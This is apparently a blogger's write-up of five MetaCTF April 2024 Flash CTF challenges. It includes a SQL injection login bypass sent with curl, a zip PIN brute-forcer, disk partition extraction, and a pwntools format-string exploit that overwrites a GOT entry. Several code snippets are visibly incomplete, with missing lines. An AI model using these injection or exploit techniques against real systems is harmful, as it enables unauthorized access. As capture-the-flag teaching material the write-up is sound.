️🏴 MetaCTF April 2024 Flash CTF

A monthly mini CTF competition organized by MetaCTF and Antisyphon.



Architecture Astronaut

We recovered this executable from a device, but we can't figure out how to make the program run. We suspect the code was compiled for a system with a different CPU architecture.

Can you figure out which architecture it was compiled for? The flag is the name of the architecture. You don't need to run or take apart the executable.

The flag is not in MetaCTF{} format, it's just the name of the architecture. You only have 10 attempts on this challenge.

This was straightforward enough; inquiring what the file type was:

 file astronaut
astronaut: ELF 32-bit LSB executable, Tensilica Xtensa, version 1 (SYSV), statically linked, with debug_info, not stripped

…and the flag is Tensilica Xtensa.

Login Query

I'm trying to log into my online crypto wallet, but I forgot my password! There's no password reset feature, and I can't reach support.

Can you help me log in and get the flag? My username is jim404.

You can download the source code here. Looks like there might be an issue with how the user input is injected into the SQL query.

Update, if the link above doesn't work, you can try these as well. Please do not use automated tools against this challenge!

I'll hold up my hand and admit: I did use sqlmap originally so I'm probably partly to blame for the addition of that last clause. Moving swiftly along…

The login pages referenced above are handled by this part of the provided code:

@app.route('/login', methods=['POST'])
def login():
    data = request.json
    username = data.get("username", "-")
    password_hash = hashlib.md5(data.get("password", "-").encode()).hexdigest()

    db_error = ""
        query = "SELECT username, public_btc_address, private_btc_key, balance FROM users WHERE username='" + username + "' AND password_hash='" + password_hash + "';"
        result = db_cursor.execute(query)
        user_data = result.fetchone()
    except Exception as e:
        user_data = None
        db_error = str(e)

…so this comes down to a SQL injection (also teased in the description). There's no indication how many users are in the database and the fetchone() will simply retrieve the first which match the query. The injected query must therefore be open enough to allow access but specific enough to retrieve the right user: in other words, the jim404 username still has to be in there.

Or, in short, it should evaluate to …WHERE username = 'jim404' --:

 curl http://host5.metaproblems.com:7600/login \
     --request POST \
     --header 'Content-Type: application/json' \
     --data-raw $'{"username":"jim404\' --","password":"pass"}'
  "balance": 0.05179,
  "error": false,
  "message": "Login successful.",
  "private_btc_key": "MetaCTF{time_to_move_my_money}",
  "public_btc_address": "15twe3BTuB8EgZFCkCETUPkVjXBovdXeZd",
  "username": "jim404"

Lost Luggage

I need to get into this archive, but I forgot the password for it as well. All I remember is, it's the same 4-digit pin I used on my luggage lock...

Come for the puzzles, stay for the Spaceballs references!

My immediate thought on seeing this was the monthly_backwhat challenge in the BSides London 2023 CTF I recently completed.

Tools like zip2john can make short work of this but where's the fun in that?

import itertools
import string
import zipfile

z = zipfile.ZipFile("luggage.zip")

def bruteforce():
    for guess in range(10_000):
        guess = f"{guess:04}".encode()
            z.extract("flag.txt", pwd=guess)
            return guess.decode()
        except Exception:


After a few moments:


 cat flag.txt

Obnoxious Offset

Dang, I really messed up this flash drive. I should probably have my gparted privileges taken away.

Anyways, the flag is on the second partition in this disk image.

The .img file contains two partitions (a fact that took me long enough to figure out):

 sudo parted obnoxious.img
GNU Parted 3.2
Using …/metactf/obnoxious.img
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) u
Unit?  [compact]? B
(parted) print
Model:  (file)
Disk …/metactf/obnoxious.img: 4194304B
Sector size (logical/physical): 512B/512B
Partition Table: msdos
Disk Flags:

Number  Start     End       Size      Type     File system  Flags
 1      512B      2098175B  2097664B  primary  ext2         type=83
 2      2098176B  4194303B  2098176B  primary  ext2         type=83

There's probably an easy way to mount each individually but instead, extracting just the one of interest:

 dd if=obnoxious.img skip=2098176 of=obnoxious.img2 bs=1
2096128+0 records in
2096128+0 records out
2096128 bytes (2.1 MB, 2.0 MiB) copied, 7.66525 s, 273 kB/s

…which can be mounted with sudo mount -o loop,ro ./obnoxious.img2 img/.

The resulting, mounted directory contains a lot of directories, including: img/M/e/t/a/C/T/F/{/i/t/s/_/a/_/p/a/r/t/1/t/i/0/n/_/t/4/b/l/3/_/p/4/r/t/y/}.

That's the flag, minus the separators:

>>> print("M/e/t/a/C/T/F/{/i/t/s/_/a/_/p/a/r/t/1/t/i/0/n/_/t/4/b/l/3/_/p/4/r/t/y/}".replace("/", ""))

Internet Talk

Check out my l33t speak converter. It helps me talk like an internet nerd.

Connect via nc host5.metaproblems.com 5040

You can download the binary here._

My first port of call for binary exploitation is usually Decompiler Explorer, which displays decompiled output from a variety of programs.

There are two major things of note:

  1. the main() function is calling printf() using user-provided input and seemingly no second argument: an Uncontrolled format string.
  2. the flag is in a second function (angr identifies this as function sub_80491f6(), so it's at offset 0x80491f6) which is never explicitly called.

Taking a lead from that referenced article and entering a series of %x values (adding a . to better view the output) as the input:

 nc host5.metaproblems.com 5040
Enter a string to leet speakify:
Original Input:

Leet Speak:


The 7th entry in that output is significant: 25, 2e and 78 are the hex values for %, . and x respectively.

Thankfully pwntools has a function for doing exactly this: function—fmtstr_payload.

Firstly, determine where printf sits in the the Global Offset Table:

from pwn import ELF

elf = ELF("./leet")
printf_offset = elf.symbols["got.printf"]

Then generate the payload:

from pwn import p32
from pwnlib.fmtstr import fmtstr_payload

flag = p32(0x80491F6)
payload = fmtstr_payload(7, {printf_offset: flag})

Armed with that payload, throw it at the challenge:

r = remote("host5.metaproblems.com", 5040)
r.recvuntil(b"Enter a string to leet speakify:\n")
r.recvuntil(b"Leet Speak:\n")


Putting that all together:

[*] '…/metactf/leet'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to host5.metaproblems.com on port 5040: Done
[+] Receiving all data: Done (22B)
[*] Closed connection to host5.metaproblems.com port 5040